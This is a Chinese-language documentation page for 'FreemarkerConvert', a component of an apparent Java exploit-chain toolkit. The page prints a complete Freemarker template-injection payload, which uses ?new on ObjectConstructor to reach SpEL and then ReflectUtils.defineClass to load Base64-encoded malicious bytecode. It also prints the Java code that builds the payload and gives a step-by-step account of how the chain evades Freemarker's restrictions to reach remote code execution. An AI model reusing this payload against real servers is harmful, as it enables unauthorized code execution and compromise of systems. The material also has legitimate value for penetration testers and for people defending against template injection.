Skip to content

Latest commit

 

History

History
63 lines (52 loc) · 5.26 KB

File metadata and controls

63 lines (52 loc) · 5.26 KB

freemarker表达式加载字节码(FreemarkerConvert)

  • 类别:common 别名:— 优先级:未设置(null)
  • 作者:—
  • 依赖freemarkerSpEL(目标运行时需能加载 org.springframework.expression.spel.standard.SpelExpressionParserorg.springframework.cglib.core.ReflectUtils

作用

一个「表达式转换」构件(Convert 类):把内层 gadget 产出的 byte[] 字节码封装成一段 Freemarker 模板字符串,该模板被 Freemarker 求值时会经由 SpEL 二次跳板,最终用 ReflectUtils.defineClass 在目标 JVM 中定义并加载恶意类。它本身不触发反序列化,而是「字节码 → Freemarker 表达式字符串」的适配层,供上游 Freemarker sink(如某些模板注入点或以 Freemarker 求值的 gadget)消费。

链接标签

  • 入口 tagsFreemarker_ExprExpression —— 声明本构件产物是「Freemarker 表达式 / 通用表达式」,可被任何 nextTagsFreemarker_Expr(或 Expression)、即最终会对字符串做 Freemarker 求值的上游 gadget 承接。
  • 衔接 nextTagsBytecodeConvertTag —— 本构件的内层(chain.doCreate 产物)必须是一个 BytecodeConvert 类构件,产出待加载的 byte[] 字节码。
  • excludes:无。

源码剖析

核心是一段写死的 Freemarker 模板与 String.format 填充:

public static String FreemarkerTemplate =
  "${\"freemarker.template.utility.ObjectConstructor\"?new()" +
  "(\"org.springframework.expression.spel.standard.SpelExpressionParser\")" +
  ".parseExpression(\"T(org.springframework.cglib.core.ReflectUtils)" +
  ".defineClass('%s',T(org.springframework.util.Base64Utils).decodeFromString(\\\"%s\\\")," +
  "new+javax.management.loading.MLet(new+java.net.URL[0]," +
  "T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()\").getValue()}";

private String getObject(byte[] bytecode, String className) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);
    return String.format(FreemarkerTemplate, className, bytecodeB64);
}

逐段解释:

  • "...ObjectConstructor"?new() 是 Freemarker 内置指令 ?new,允许以字符串名实例化实现了 TemplateModel 的类;freemarker.template.utility.ObjectConstructor 恰是一个「按类名+构造参数任意实例化对象」的工具,等价于反射 new。这一步 new 出一个 SpelExpressionParser
  • 拿到 SpEL 解析器后调用 parseExpression(...).getValue(),把攻击逻辑转交给 SpEL,绕过 Freemarker 本身对方法调用的部分限制。
  • SpEL 表达式里 T(ReflectUtils).defineClass('className', Base64Utils.decodeFromString(b64), new MLet(...)):先把 Base64 还原成字节码,再用 Spring cglib 的 ReflectUtils.defineClass 在传入的 MLet 类加载器上下文中 defineClass 出恶意类,doInject() 触发其加载/静态初始化。MLet 以当前线程上下文类加载器为父加载器构造,保证 defineClass 有可用的加载器。
  • %s 两个占位分别填 className(类名,由 context 提供)和 bytecodeB64(Base64 后的字节码)。

invoke 负责取内层产物并注入类名:

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object bytecode = chain.doCreate(context);                 // 内层 BytecodeConvert 产出 byte[]
    String className = context.getString(ContextTag.CLASS_NAME_KEY); // 上游约定的类名
    return this.getObject((byte[]) bytecode, className);
}

chain.doCreate 先驱动内层(BytecodeConvert → 字节码 sink)得到 byte[]classNameGadgetContextCLASS_NAME_KEY 读取,与字节码里真实类名保持一致。最终返回值是一段可被 Freemarker 求值的 字符串,交给外层 sink 落地。

反编译头部 Could not load ... org.apache.commons.codec.binary.Base64 属缺失第三方依赖的正常提示,不影响逻辑。

参数(@Param)

本类无 @Param。类名由链上下文 CLASS_NAME_KEY 注入,字节码由内层 BytecodeConvert 提供,模板 FreemarkerTemplate 为写死的 public static 字段。

适用版本与原理要点

  • 参考:https://www.cnblogs.com/CoLo/p/16706091.html
  • 依赖 freemarker 且目标类路径存在 Spring(提供 SpelExpressionParser、cglib ReflectUtilsBase64Utils)。核心思路是「Freemarker ?new 实例化 → SpEL 二次执行 → ReflectUtils.defineClass 加载字节码」,规避 Freemarker 直接调方法的限制。
  • 与同族 FreemarkerConvert2 的区别:本类走 SpEL + Spring 定义类,FreemarkerConvert2 走 ScriptEngineManager 的 JS 引擎定义类,依赖不同。
  • 需要一个「会用 Freemarker 求值本字符串」的上游触发点才能形成完整 RCE。

所属预设链

无。自由构件,未直接出现在 51 条预设链中(需与合适的 Freemarker sink 手动组合)。

关联